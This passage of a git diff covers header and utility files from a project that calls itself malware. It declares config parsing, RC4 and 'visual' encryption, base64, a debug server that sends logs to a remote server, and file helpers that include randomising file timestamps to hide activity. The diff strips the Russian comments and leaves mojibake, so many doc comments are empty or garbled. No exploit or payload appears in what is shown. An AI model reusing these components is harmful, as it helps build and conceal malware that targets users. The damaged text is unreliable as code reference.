NULL if the search is at the root. +    IN pCD - CFGDATA, may be NULL if pvParent! = NULL. +    IN pstrName - variable name may be NULL if ishetsya occurrence. +    IN pstrValue - an additional condition if pstrName! = NULL, and the name of the entry if +                      pstrName == NULL. +     +    Return - a pointer to a variable, or NULL if an error occurs. +  */ VAR *_GetVar(VAR *pvParent, CFGDATA *pCD, LPSTR pstrName, LPSTR pstrValue); }; diff --git a/source/common/config1.h b/source/common/config1.h index 0720420..15fae4c 100644 --- a/source/common/config1.h +++ b/source/common/config1.h @@ -1,6 +1,6 @@ #pragma once /* - Формат файла конфигурации #1, только для Malware, только в UTF8. + #1, Malware, UTF8. //comment ;comment @@ -41,65 +41,65 @@ namespace Config1 }CONFIGFILE; /* - Инициализация. + . */ void Init(void); /* - Деинициализация. + . */ void Uninit(void); /* - Парсинг файла. + . - IN pstrFile - файл для обработки. - OUT pdwErrorLine - строка на которой произошла ошибка, в случаи фозврата функцией false. - OUT pcf - данные обработоного файла. + IN pstrFile - . + OUT pdwErrorLine - , false. + OUT pcf - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _ParseFile(LPWSTR pstrFile, LPDWORD pdwErrorLine, CONFIGFILE *pcf); /* - Добавление переменной. + . - IN OUT pvParent - родительская переменная или NULL. - IN OUT pcf - файл конфигурации. - IN pstrValues - значения переменной, массив должен быть выделен средствами Mem, после - успешного выполнения этой функции, массив становится частью этого файла, - и не должен изменться или удаляься из вне. - IN dwValuesCount - количетсво элементов в pstrValues. + IN OUT pvParent - NULL. + IN OUT pcf - . + IN pstrValues - , Mem, + , , + . + IN dwValuesCount - pstrValues. - Return - в случаи успеха указатель на переменную, выделеню в конфигурации, - или NULL в случаи ошибки. + Return - , , + NULL . */ VAR *_AddVar(VAR *pvParent, CONFIGFILE *pcf, LPWSTR *pstrValues, DWORD dwValuesCount); /* - Получение перменной из текущего вложения. + . - IN pvParent - родительская переменная или NULL. - IN pcf - файл конфигурации. - IN pstrValues - значения аргументов(слева на право), которые должна содержать переменная. - IN dwValuesCount - количетсво элементов в pstrValues. - IN bMathCase - true - с учетом регистра, false - без учета регистра. + IN pvParent - NULL. + IN pcf - . + IN pstrValues - ( ), . + IN dwValuesCount - pstrValues. + IN bMathCase - true - , false - . - Return - в случаи успеха указатель на переменную, или NULL в случаи ошибки. + Return - , NULL . */ VAR *_GetVar(VAR *pvParent, CONFIGFILE *pcf, LPWSTR *pstrValues, DWORD dwValuesCount, bool bMathCase); /* - Освобождение парменной и всех ее потомков. + . - IN pVar - переменная для обработки. + IN pVar - . */ void _FreeVar(VAR *pvVar); - /*В В В В Closure of the configuration file and release memory. + /*    Closure of the configuration file and release memory. -В В В В IN pcf - file for processing. -В В */ +    IN pcf - file for processing. +  */ void _CloseFile(CONFIGFILE *pcf); }; diff --git a/source/common/console.h b/source/common/console.h index fea75ab..5fe97dd 100644 --- a/source/common/console.h +++ b/source/common/console.h @@ -1,49 +1,49 @@ /* - Работа с консолью. + . */ #pragma once namespace Console { /* - Инициализация. + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool init(void); /* - Деинициализация. + . */ void uninit(void); /* - Запись данных в консоль. + . - IN data - данные для записи. - IN size - количество байт для записи. + IN data - . + IN size - . - Return - количество записанных байт. + Return - . */ DWORD writeData(void *data, DWORD size); /* - Запись Unicode строки в консоль. + Unicode . - IN string - строка для записи. - IN size - количество символов для записи, или (DWORD)-1 если строка оканчивается на \0. + IN string - . + IN size - , (DWORD)-1 \0. - Return - количество записанных символов. + Return - . */ DWORD writeStringW(LPWSTR string, DWORD size); - /*В В В В Analogue of wprintf. + /*    Analogue of wprintf. -В В В В IN format - line-format output. -В В В В IN ... - Arguments for the row. +    IN format - line-format output. +    IN ... - Arguments for the row. -В В В В Return - number of characters written. -В В */ +    Return - number of characters written. +  */ DWORD writeFormatW(LPWSTR format, ...); }; diff --git a/source/common/crypt.cpp b/source/common/crypt.cpp index 247da50..1d3a267 100644 --- a/source/common/crypt.cpp +++ b/source/common/crypt.cpp @@ -94,7 +94,7 @@ bool Crypt::_md5Hash(LPBYTE output, void *inputData, DWORD dataSize) bool r = false; HCRYPTPROV hashProv; - if(CWA(advapi32, CryptAcquireContextW)(&hashProv, NULL, NULL, PROV_RSA_FULL /*Именно это значение, не какого иного.*/, CRYPT_VERIFYCONTEXT | CRYPT_SILENT) != FALSE) + if(CWA(advapi32, CryptAcquireContextW)(&hashProv, NULL, NULL, PROV_RSA_FULL /* , .*/, CRYPT_VERIFYCONTEXT | CRYPT_SILENT) != FALSE) { HCRYPTHASH hashHandle; if(CWA(advapi32, CryptCreateHash)(hashProv, CALG_MD5, 0, 0, &hashHandle) == TRUE) diff --git a/source/common/crypt.h b/source/common/crypt.h index ebbfe6c..e4edbe5 100644 --- a/source/common/crypt.h +++ b/source/common/crypt.h @@ -1,6 +1,6 @@ #pragma once /* - Криптография. + . */ //Size MD5 hash. @@ -17,141 +17,141 @@ namespace Crypt }RC4KEY; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Создание MD5 хэша данных. + MD5 . - OUT output - буффер для хэша, размером MD5HASH_SIZE. - IN inputData - данные, хэш которых нужно подсчитать. - IN dataSize - количество байт в pInputData. + OUT output - , MD5HASH_SIZE. + IN inputData - , . + IN dataSize - pInputData. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _md5Hash(LPBYTE output, void *inputData, DWORD dataSize); /* - Псевдо-случайный генератор чисел по меоду Mersenne Twister. + - Mersenne Twister. - Return - число от 0 до 0x7FFFFFFF. + Return - 0 0x7FFFFFFF. */ DWORD mtRand(void); /* - Расширение MTRand, позволяющее указать промежуток. + MTRand, . - IN minVal - минимальное число. - IN maxVal - максимальное число. + IN minVal - . + IN maxVal - . - Return - число от dwMin до dwMax. + Return - dwMin dwMax. */ DWORD mtRandRange(DWORD minVal, DWORD maxVal); /* - Подсчет CRC32. + CRC32. - IN data - данные, хэш которых нужно подсчитать. - IN size - количество байт в pMem. + IN data - , . + IN size - pMem. - Return - хэш. + Return - . - Примечание: при первом вызове функция создает таблицу crc32, процесс создания которой не - защещен от многопоточности. + : crc32, + . */ DWORD crc32Hash(const void *data, DWORD size); /* - Инициализация RC4 для текушего ключа. + RC4 . - IN key - входной бинарный ключ. - IN binKeySize - размер бинарного ключа в байтах. - OUT key - данные для RC4. + IN key - . + IN binKeySize - . + OUT key - RC4. */ void _rc4Init(const void *binKey, WORD binKeySize, RC4KEY *key); /* - Шифрование/декодирование RC4. + / RC4. - IN OUT buffer - данные для обработки. - IN size - размер данных. - IN key - стурктура, инициализированная через RC4Init. + IN OUT buffer - . + IN size - . + IN key - , RC4Init. */ void _rc4(void *buffer, DWORD size, RC4KEY *key); /* - Объединение rc4Init() и rc4() в одну функцию. + rc4Init() rc4() . - IN binKey - входной бинарный ключ. - IN binKeySize - размер бинарного ключа в байтах. - IN OUT buffer - данные для обработки. - IN size - размер данных. + IN binKey - . + IN binKeySize - . + IN OUT buffer - . + IN size - . */ void _rc4Full(const void *binKey, WORD binKeySize, void *buffer, DWORD size); /* - Визуальное шифрование буфера. Ключем являестя первый байт. + . . - IN OUT buffer - данные для обработки. - IN size - размер данных. + IN OUT buffer - . + IN size - . */ void _visualEncrypt(void *buffer, DWORD size); /* - Визуальное дешифрование буфера. Ключем являестя первый байт. + . . - IN OUT buffer - данные для обработки. - IN size - размер данных. + IN OUT buffer - . + IN size - . */ void _visualDecrypt(void *buffer, DWORD size); /* - Кодирование данных в base64. + base64. - IN source - данные для обработки. - IN sourceSize - размер данных. - OUT destSize - размер полученой base64 строки без нулевого символа. Может быть NULL. + IN source - . + IN sourceSize - . + OUT destSize - base64 . NULL. - Return - строка с нулевым символом на конце, или NULL в случаи ошибки. Строка должна - быть уничтожена через Mem. + Return - , NULL . + Mem. */ LPSTR _base64Encode(LPBYTE source, SIZE_T sourceSize, SIZE_T *destSize); /* - Декодирование данных из base64. + base64. - IN source - строка для обработки. - IN sourceSize - размер строки. - OUT destSize - размер полученой данных без нулевого символа. Может быть NULL. + IN source - . + IN sourceSize - . + OUT destSize - . NULL. - Return - данные с нулевым символом на конце, или NULL в случаи ошибки. Строка должна - быть уничтожена через Mem. + Return - , NULL . + Mem. */ LPBYTE _base64Decode(LPSTR source, SIZE_T sourceSize, SIZE_T *destSize); /* - Генерация данных заданной длины. + . - OUT buffer - буфер для данных. - IN size - количество байт для генеарции. - IN minValue - минимальное значение байта. - IN maxValue - максимальное значение байта. - OUT extMode - true - использовать расишреный режим, улучшает алгоритм, но замедляется на + OUT buffer - . + IN size - . + IN minValue - . + IN maxValue - . + OUT extMode - true - , , ~(dwSize * 20) ms. - false - стандартный режим. + false - . */ void _generateBinaryData(void *buffer, DWORD size, BYTE minValue, BYTE maxValue, bool extMode); - /*В В В В Generate RC4 key. + /*    Generate RC4 key. -В В В В OUT key - the key. -В В */ +    OUT key - the key. +  */ void _generateRc4Key(Crypt::RC4KEY *key); }; diff --git a/source/common/cui.h b/source/common/cui.h index 0ebaf05..052c5d5 100644 --- a/source/common/cui.h +++ b/source/common/cui.h @@ -1,5 +1,5 @@ /* - Вспомогательные функции для консольного интерфейса. + . */ #pragma once @@ -21,15 +21,15 @@ namespace Cui }; /* - Функция для дальнейшей обработки командной строки, должны представлять из себя - Cmd[Cmdname]::Call(...). Функция должна самостоятельно выставлять coreData.exitCode, и - вызывать Core::showHelp() в случаи соответственной ошибки. Нужно учитывать, что синтаксис - всех опции уже проверен, т.е. например если опция содержит какой-то параметр, то при вызове - этой функции он проверено существует. - - IN switches - опции передаваемые из командной строки. При поиски нужной опции внутри - функции, поиск должен производиться с учетом регистра. - IN switchesCount - количество опции. + , + Cmd[Cmdname]::Call(...). coreData.exitCode, + Core::showHelp() . , + , .. - , + . + + IN switches - . + , . + IN switchesCount - . */ typedef void (* COMMANDCALLBACK)(LPWSTR *switches, DWORD switchesCount); @@ -50,73 +50,73 @@ namespace Cui }COMMAND; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение текущей команды из командной строки. + . - IN args - массив аргументов командной строки. - IN argsCount - количество элементов в args. - IN commands - массив поддерживаемых команд. - IN commandsCount - количество элементов в commands. + IN args - . + IN argsCount - args. + IN commands - . + IN commandsCount - commands. - Return - указатель на элемент из массива commands, или NULL если команда не найдена. + Return - commands, NULL . */ COMMAND *_getCommand(const LPWSTR *args, int argsCount, const COMMAND *commands, BYTE commandsCount); /* - Проверка опций командной строки. + . - IN args - массив аргументов командной строки. - IN argsCount - количество элементов в args. - IN switches - массив поддерживаемых опций. - IN switchesCount - количество элементов в switches. + IN args - . + IN argsCount - args. + IN switches - . + IN switchesCount - switches. - Return - 0 - ошибок не найдено, - MAKELONG(1, i) - синтаксическая ошибка, где i индекс элемента в args, - MAKELONG(2, i) - неизвестная опция, где i индекс элемента в args. + Return - 0 - , + MAKELONG(1, i) - , i args, + MAKELONG(2, i) - , i args. */ DWORD _checkSwitches(const LPWSTR *args, int argsCount, const SWITCH *switches, BYTE switchesCount); /* - Получение значения опции. + . - IN switches - массив опций. - IN switchesCount - количество элементов в pstrList. - IN requeredSwitch - опция, которую нужно найти. + IN switches - . + IN switchesCount - pstrList. + IN requeredSwitch - , . - Return - если значение существует - указатель на значение опции, - если значение отсутвует - (LPWSTR)1, - если опция отсутвует - NULL. + Return - - , + - (LPWSTR)1, + - NULL. - Внимание: После работы этой функции аргумент может отличаться от оригинального, из-за удаления - кавычек в случаи их наличия. + : , - + . */ LPWSTR _getSwitchValue(const LPWSTR *switches, DWORD switchesCount, const LPWSTR requeredSwitch); /* - Отображение помоши. + . - IN commands - список команд. - IN commandsCount - количетсво команд. - IN switches - список опции. - IN switchesCount - количество опций. - IN mainTitle - шаблон заголовка, например + IN commands - . + IN commandsCount - . + IN switches - . + IN switchesCount - . + IN mainTitle - , "usage: %s - -\n\n\n" - IN fileName - имя файла для примера в mainTitle. - IN switchesTitle - заголовое для опций. + IN fileName - mainTitle. + IN switchesTitle - . */ void _showHelp(const COMMAND *commands, BYTE commandsCount, const LPWSTR mainTitle, const LPWSTR fileName); }; -/*В В Standard obrabodchik command line.*/ +/*  Standard obrabodchik command line.*/ #define CUI_DEFAULT_COMMANDLINE_HELPER \ {\ Cui::COMMAND *currentCommand;\ diff --git a/source/common/cui[en].h b/source/common/cui[en].h index 1089da4..93d8f7e 100644 --- a/source/common/cui[en].h +++ b/source/common/cui[en].h @@ -1,8 +1,8 @@ -/*В В English localization of the expression for console applications.*/ +/*  English localization of the expression for console applications.*/ #pragma once //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Errors +// Errors //////////////////////////////////////////////////// //////////////////////////////////////////////// #define lng_error L"ERROR: " @@ -21,7 +21,7 @@ #define lng_error_syntax_error lng_error L"Syntax error \"%s\".\n" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Miscellaneous +// Miscellaneous //////////////////////////////////////////////////// //////////////////////////////////////////////// #define lng_no_switches lng_warning L"Please choose switches.\n" diff --git a/source/common/debug.h b/source/common/debug.h index c98acdf..e2d4de2 100644 --- a/source/common/debug.h +++ b/source/common/debug.h @@ -1,6 +1,6 @@ #pragma once /* - Система для создания и отправки отладочных отчетов на сервер (BO_DEBUG == 2) или локально + (BO_DEBUG == 2) (BO_DEBUG == 1). */ @@ -32,37 +32,37 @@ namespace DebugClient }; /* - Инициализация. + . */ void Init(void); /* - Деинициализация. + . */ void Uninit(void); /* - Запись строки в отладочный отчет. + . - IN pstrFuncName - имя текущей функции. - IN pstrSourceFile - имя текущего файла. - IN dwLineNumber - номер текщей строки в текщем файле. - IN bType - одно из значений WDDT_*. - IN pstrFormat - формат строки анологично sprintf. - IN ... - набор аргументов для pstrFormat. + IN pstrFuncName - . + IN pstrSourceFile - . + IN dwLineNumber - . + IN bType - WDDT_*. + IN pstrFormat - sprintf. + IN ... - pstrFormat. */ void WriteString(LPSTR pstrFuncName, LPSTR pstrSourceFile, DWORD dwLineNumber, BYTE bType, LPWSTR pstrFormat, ...); /* - Запуск локального сервера для приема логов от WriteString всех процессов, и отправки их на - сервер. + WriteString , + . */ #if(BO_DEBUG == 2) void StartLogServer(void); #endif - /*В В В В Setting the hook on the exclusion for entry in the log. -В В */ + /*    Setting the hook on the exclusion for entry in the log. +  */ void RegisterExceptionFilter(void); }; #else diff --git a/source/common/defines.h b/source/common/defines.h index 10d2b68..02cdd8d 100644 --- a/source/common/defines.h +++ b/source/common/defines.h @@ -59,7 +59,7 @@ #define FONT_DIALOG "MS Shell Dlg 2" //////////////////////////////////////////////////// //////////////////////////////////////////////// -//В Various options dependent on options BO_ *. +// Various options dependent on options BO_ *. //////////////////////////////////////////////////// //////////////////////////////////////////////// #if(BO_NSPR4 > 0) diff --git a/source/common/defines.php b/source/common/defines.php index 0d15b7c..de3f278 100644 --- a/source/common/defines.php +++ b/source/common/defines.php @@ -1,10 +1,10 @@ 0 && i <= MAX_PATH - 14) { @@ -171,7 +171,7 @@ bool Fs::_createTempFile(const LPWSTR prefix, LPWSTR buffer) bool Fs::_createTempFileEx(const LPWSTR prefix, const LPWSTR extension, LPWSTR buffer) { WCHAR path[MAX_PATH]; - DWORD i = CWA(kernel32, GetTempPathW)(MAX_PATH - 14/*требование GetTempFileName*/, path); + DWORD i = CWA(kernel32, GetTempPathW)(MAX_PATH - 14/* GetTempFileName*/, path); if(i > 0 && i <= MAX_PATH - 14) { @@ -191,7 +191,7 @@ bool Fs::_createTempFileEx(const LPWSTR prefix, const LPWSTR extension, LPWSTR b bool Fs::_createTempDirectory(const LPWSTR prefix, LPWSTR buffer) { WCHAR path[MAX_PATH]; - DWORD i = CWA(kernel32, GetTempPathW)(MAX_PATH - 14/*требование GetTempFileName*/, path); + DWORD i = CWA(kernel32, GetTempPathW)(MAX_PATH - 14/* GetTempFileName*/, path); if(i > 0 && i <= MAX_PATH - 14) { diff --git a/source/common/fs.h b/source/common/fs.h index f06e37b..9041b6b 100644 --- a/source/common/fs.h +++ b/source/common/fs.h @@ -1,6 +1,6 @@ #pragma once /* - Инструменты для работы с файловой системой. + . */ #if !defined FS_ALLOW_FILEMAPPING @@ -37,347 +37,347 @@ namespace Fs }MEMFILE; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Сохранение данных в файл. + . - IN fileName - файл для записи. - IN data - данные для записи, может быть NULL. - IN dataSize - размер данных для записи, может быть 0. + IN fileName - . + IN data - , NULL. + IN dataSize - , 0. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _saveToFile(const LPWSTR fileName, const void *data, DWORD dataSize); /* - Чтение начала файла в буфер. + . - IN fileName - файл для открытия. - OUT buffer - буфер. - IN bufferSize - размер буфера. + IN fileName - . + OUT buffer - . + IN bufferSize - . - Return - кол. прочитаных байт, или (DWORD)-1 в случаи ошибки. + Return - . , (DWORD)-1 . */ DWORD _readFileToBuffer(const LPWSTR fileName, void *buffer, DWORD bufferSize); /* - Создает образ файла в памяти. + . - IN fileName - файл для открытия. - OUT mem - данные об образе файла, сруктура должны быть освобождена через CloseMemFile. - IN flags - флаги FTOMF_*. + IN fileName - . + OUT mem - , CloseMemFile. + IN flags - FTOMF_*. - Return - true - в случаи успешной загрузки образа, - false - в случаи ошибки, или размера файла более 4Gb. + Return - true - , + false - , 4Gb. */ bool _fileToMem(LPWSTR fileName, MEMFILE *mem, DWORD flags); /* - Закрывает файл открытый FileToMem. + FileToMem. - IN mem - файл для закрытия. + IN mem - . */ void _closeMemFile(MEMFILE *mem); /* - Надстройка над SetFilePointerEx для изменения позиции в файле. + SetFilePointerEx . - IN file - хэндл файла. - IN distanceToMove - дистанция для перемешение, может быть отрицательнео число. - IN moveMethod - способ перемешения: FILE_BEGIN, FILE_CURRENT, FILE_END. + IN file - . + IN distanceToMove - , . + IN moveMethod - : FILE_BEGIN, FILE_CURRENT, FILE_END. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setFilePointer(HANDLE file, DWORD64 distanceToMove, DWORD moveMethod); /* - Надстройка над SetFilePointerEx для получения текущей позиции в файле. + SetFilePointerEx . - IN file - хэндл файла. + IN file - . - Return - поизцию в файла или (DWORD64)(-1) в случаи ошибки. + Return - (DWORD64)(-1) . */ DWORD64 _getFilePointer(HANDLE file); /* - Получение размера файла. + . - IN file - хэндл файла. + IN file - . - Return - размер файла или (DWORD64)(-1) в случаи ошибки. + Return - (DWORD64)(-1) . */ DWORD64 _getFileSize(HANDLE file); /* - Получение размера файла. + . - IN file - путь файла. + IN file - . - Return - размер файла или (DWORD64)(-1) в случаи ошибки. + Return - (DWORD64)(-1) . */ DWORD64 _getFileSizeEx(LPWSTR file); /* - Удаление файла с предварительным снятием атрибутов. + . - IN file - имя файла. + IN file - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _removeFile(LPWSTR file); /* - Создание временного файла в %TEMP%. + %TEMP%. - IN prefix - префикс в имени файла (не более 3-x символов), или NULL для значения по - умолчанию. - OUT buffer - буфер для полного имени файла, размер буфера должен быть не менее MAX_PATH. + IN prefix - ( 3-x ), NULL + . + OUT buffer - , MAX_PATH. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _createTempFile(const LPWSTR prefix, LPWSTR buffer); /* - Создание временного файла в %TEMP% (более тяжелая функция, также требуется инициализация Crypt). + %TEMP% ( , Crypt). - IN prefix - префикс в имени файла (не более 3-x символов), или NULL для значения по - умолчанию. - IN extension - расширение файла (без точки), не может быть NULL. - OUT buffer - буфер для полного имени файла, размер буфера должен быть не менее MAX_PATH. + IN prefix - ( 3-x ), NULL + . + IN extension - ( ), NULL. + OUT buffer - , MAX_PATH. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _createTempFileEx(const LPWSTR prefix, const LPWSTR extension, LPWSTR buffer); /* - Создание временной папки в %TEMP%. + %TEMP%. - IN prefix - префикс в имени папки (не более 3-x символов), или NULL для значения по - умолчанию. - OUT buffer - буфер для полного имени папки, размер буфера должен быть не менее MAX_PATH. + IN prefix - ( 3-x ), NULL + . + OUT buffer - , MAX_PATH. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _createTempDirectory(const LPWSTR prefix, LPWSTR buffer); /* - Определяет является ли имя '..' или '.'. + '..' '.'. - IN name - имя для проверки. + IN name - . - Return - true - если является, - false - если не яляется. + Return - true - , + false - . */ bool _isDotsName(LPWSTR name); /* - Запись в файл данных в формате [DWORD:dwDataSize][BYTE[dwDataSize]]. + [DWORD:dwDataSize][BYTE[dwDataSize]]. - IN file - запись в который буде проивзодиться запись. - IN data - данные для записи. - IN dataSize - размер данных. + IN file - . + IN data - . + IN dataSize - . - Return - true - в случаи успеха записи данных, - false - в случаи ошибки, при это файловый указатель будет возращен на место, но - при это размер файла не будет восстановлен, если запись данных как то повлияла - на его изменение. + Return - true - , + false - , , + , + . */ bool _writeSizeAndData(HANDLE file, void *data, DWORD dataSize); /* - Надстрока над ReadFile со встроенным ожиданием анисхронной операции. + ReadFile . - IN hFile - хэндл файла. - OUT pBuffer - буффер. - IN dwNumberOfBytesToRead - количетсво байт для чтения. - OUT pdwNumberOfBytesRead - количетсво прочитаных байт, или 0 если все данные прочитаны. - IN hOverlappedEvent - событие согласно правилам ансихроного I/O. + IN hFile - . + OUT pBuffer - . + IN dwNumberOfBytesToRead - . + OUT pdwNumberOfBytesRead - , 0 . + IN hOverlappedEvent - I/O. - Return - true - в случаи успешного чтения, - false - в случаи ошибки. + Return - true - , + false - . */ bool _ReadFile(HANDLE hFile, void *pBuffer, DWORD dwNumberOfBytesToRead, LPDWORD pdwNumberOfBytesRead, HANDLE hOverlappedEvent); /* - Надстрока над WriteFile со встроенным ожиданием анисхронной операции. + WriteFile . - IN hFile - хэндл файла. - IN pBuffer - буффер. - IN dwNumberOfBytesToWrite - количетсво байт для записи. - OUT pdwNumberOfBytesWritten - количетсво прочитаных байт, или 0 если все данные прочитаны. - IN hOverlappedEvent - событие согласно правилам ансихроного I/O. + IN hFile - . + IN pBuffer - . + IN dwNumberOfBytesToWrite - . + OUT pdwNumberOfBytesWritten - , 0 . + IN hOverlappedEvent - I/O. - Return - true - в случаи успешного чтения, - false - в случаи ошибки. + Return - true - , + false - . */ bool _WriteFile(HANDLE hFile, void *pBuffer, DWORD dwNumberOfBytesToWrite, LPDWORD pdwNumberOfBytesWritten, HANDLE hOverlappedEvent); /* - Вывод формированой строки в файл. + . - IN hFile - хэндл файла. - IN pstrFormat - строка-формат вывода. - IN ... - аргументы для строки. + IN hFile - . + IN pstrFormat - - . + IN ... - . - Return - true - в случаи упеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _WriteFileFormatA(HANDLE hFile, LPSTR pstrFormat, ...); /* - Установка времени для папки или файла. + . - IN isDir - true - если pstrFile - это директория, false - если файл. - IN file - файл или папка для обработки. - IN creationTime - время создания, может быть NULL. - IN lastAccessTime - время последнего доступа, может быть NULL. - IN lastWriteTime - время последней модификации, может быть NULL. + IN isDir - true - pstrFile - , false - . + IN file - . + IN creationTime - , NULL. + IN lastAccessTime - , NULL. + IN lastWriteTime - , NULL. - Return - true - в случаи упеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setFileTime(bool isDir, LPWSTR file, FILETIME *creationTime, FILETIME *lastAccessTime, FILETIME *lastWriteTime); /* - Генерация произволого времени для файла и его родителей от startTime до текущего времени минус + startTime reservedSeconds. - IN startTime - время отностительно которого будет произвдится генерация. - IN reservedSeconds - зарезервированые секунды, от текушего времени которые нельзя генерировать. - IN file - файл или папка для обработки. Строка не должна кончаться на слеш. - IN upLevel - максимальный уровень вверх для обработки. 0 - только file. + IN startTime - . + IN reservedSeconds - , . + IN file - . . + IN upLevel - . 0 - file. - Return - true - в случаи успеха, - false - в случаи ощибки, или если хотябы одному объекту не удалось - выставить времяю + Return - true - , + false - , + */ bool _setRandomFileTime(DWORD startTime, DWORD reservedSeconds, LPWSTR fileName, DWORD upLevel); /* - Получение времени для папки или файла. + . - IN isDir - true - если pstrFile - это директория, false - если файл. - IN file - файл или папка для обработки. - IN creationTime - время создания, может быть NULL. - IN lastAccessTime - время последнего доступа, может быть NULL. - IN lastWriteTime - время последней модификации, может быть NULL. + IN isDir - true - pstrFile - , false - . + IN file - . + IN creationTime - , NULL. + IN lastAccessTime - , NULL. + IN lastWriteTime - , NULL. - Return - true - в случаи упеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _getFileTime(bool isDir, LPWSTR file, FILETIME *creationTime, FILETIME *lastAccessTime, FILETIME *lastWriteTime); /* - Копирование времени файла. + . - IN sourceIsDir - true - если sourceFile - это директория, false - если файл. - IN sourceFile - исходный файл или папка. - IN destIsDir - true - если destFile - это директория, false - если файл. - IN destFile - конечный файл или папка. + IN sourceIsDir - true - sourceFile - , false - . + IN sourceFile - . + IN destIsDir - true - destFile - , false - . + IN destFile - . - Return - true - в случаи упеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _copyFileTime(bool sourceIsDir, LPWSTR sourceFile, bool destIsDir, LPWSTR destFile); /* - Создание дерева каталогов. + . - IN path - полный путь для создания. По данному адресу должно быть правао на - запись. - IN securityAttributes - см. CreateDirectory, для каждой вновоь создаваемой директоии - указывается эта структура, может быть NULL. + IN path - . + . + IN securityAttributes - . CreateDirectory, + , NULL. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _createDirectoryTree(LPWSTR path, LPSECURITY_ATTRIBUTES securityAttributes); /* - Удаления дерева каталогов. + . - IN path - путь для удаления. + IN path - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _removeDirectoryTree(LPWSTR path); /* - Функция для кэлбэка _findFiles. + _findFiles. - IN path - путь по которому найден файл. Может оканчиваться на слеш! - IN fileInfo - данные файла. - IN data - произволные данные. + IN path - . ! + IN fileInfo - . + IN data - . - Return - true - продолжить поиск, - false - остановить поиск. + Return - true - , + false - . */ typedef bool (FINDFILEPROC)(const LPWSTR path, const WIN32_FIND_DATAW *fileInfo, void *data); /* - Поиск файлов в директории. - - IN path - директория. - IN fileMasks - массив масок для поиска. - IN fileMasksCount - кол. элементов в fileMasks. - IN flags - флаги FFFLAG_*. - IN findFileProc - функция вызываемая для каждого найденого файла. - IN data - произволные данные. - IN stopEvent - событие прерывания поиска, или NULL. - IN subfolderDelay - задержка перед поиском в поддиректории. - IN foundedDelay - задержка после вызова findFileProc. + . + + IN path - . + IN fileMasks - . + IN fileMasksCount - . fileMasks. + IN flags - FFFLAG_*. + IN findFileProc - . + IN data - . + IN stopEvent - , NULL. + IN subfolderDelay - . + IN foundedDelay - findFileProc. */ void _findFiles(LPWSTR path, const LPWSTR *fileMasks, DWORD fileMasksCount, DWORD flags, FINDFILEPROC findFileProc, void *data, HANDLE stopEvent, DWORD subfolderDelay, DWORD foundedDelay); /* - Убирает кавычки и заменят переменные окружения на их значения. + . - IN path - путь для обработки. - OUT buffer - обработанный путь. Буфер должен быть не менее MAX_PATH. + IN path - . + OUT buffer - . MAX_PATH. - Return - true - в случаи упеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _unquoteAndExpandPath(LPWSTR path, LPWSTR buffer); /* - Надастрока над PathCombibeW, которая избавляет от одной особенности работы функции. + PathCombibeW, . - OUT dest - буфер. - IN dir - первая часть пути. - IN file - вторая часть пути. + OUT dest - . + IN dir - . + IN file - . - Return - true - в случаи упеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _pathCombine(LPWSTR dest, const LPWSTR dir, const LPWSTR file); /* - Преабразует / в \. + / \. - IN OUT path - путь. + IN OUT path - . */ void _normalizeSlashes(LPWSTR path); - /*В В В В Replacement of slashes on a character. + /*    Replacement of slashes on a character. -В В В В IN OUT string - string to process. -В В В В IN c - the new symbol. -В В */ +    IN OUT string - string to process. +    IN c - the new symbol. +  */ void _replaceSlashes(LPWSTR string, WCHAR c); }; diff --git a/source/common/gdi.h b/source/common/gdi.h index ffa572d..982e34e 100644 --- a/source/common/gdi.h +++ b/source/common/gdi.h @@ -1,45 +1,45 @@ /* - Надстрйока над GDI/GDI+ + GDI/GDI+ */ #pragma once namespace Gdi { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Сохранение HBITMAP в файл. + HBITMAP . - IN fileName - файл. + IN fileName - . IN dc - DC. IN bitmapHandle - HBITMAP. - Return - true - в случаи успеха, - false - в случаи провала. + Return - true - , + false - . */ bool _saveBitmapToFile(const LPWSTR fileName, HDC dc, HBITMAP bitmapHandle); - /*В В В В Wrapper for CreateDIBSection, Kotra can more easily create DIBSection. + /*    Wrapper for CreateDIBSection, Kotra can more easily create DIBSection. -В В В В IN dc - DC. -В В В В IN width - the width of the bitmap. -В В В В IN height - the height of the bitmap. -В В В В OUT bitmapInfo - information about the bitmap, must be cleared through the Mem. May be NULL. -В В В В OUT bitmapBits - data address bitmap. -В В В В IN fileMap - Map-file object, or NULL. -В В В В IN fileMapOffset - offset in fileMap. +    IN dc - DC. +    IN width - the width of the bitmap. +    IN height - the height of the bitmap. +    OUT bitmapInfo - information about the bitmap, must be cleared through the Mem. May be NULL. +    OUT bitmapBits - data address bitmap. +    IN fileMap - Map-file object, or NULL. +    IN fileMapOffset - offset in fileMap. -В В В В Return - the bitmap, or NULL. +    Return - the bitmap, or NULL. -В В В В Note: The bitmap will always be in the format BI_RGB format 8/16/32. -В В */ +    Note: The bitmap will always be in the format BI_RGB format 8/16/32. +  */ HBITMAP _createDibSection(HDC dc, int width, int height, BITMAPINFO **bitmapInfo, void **bitmapBits, 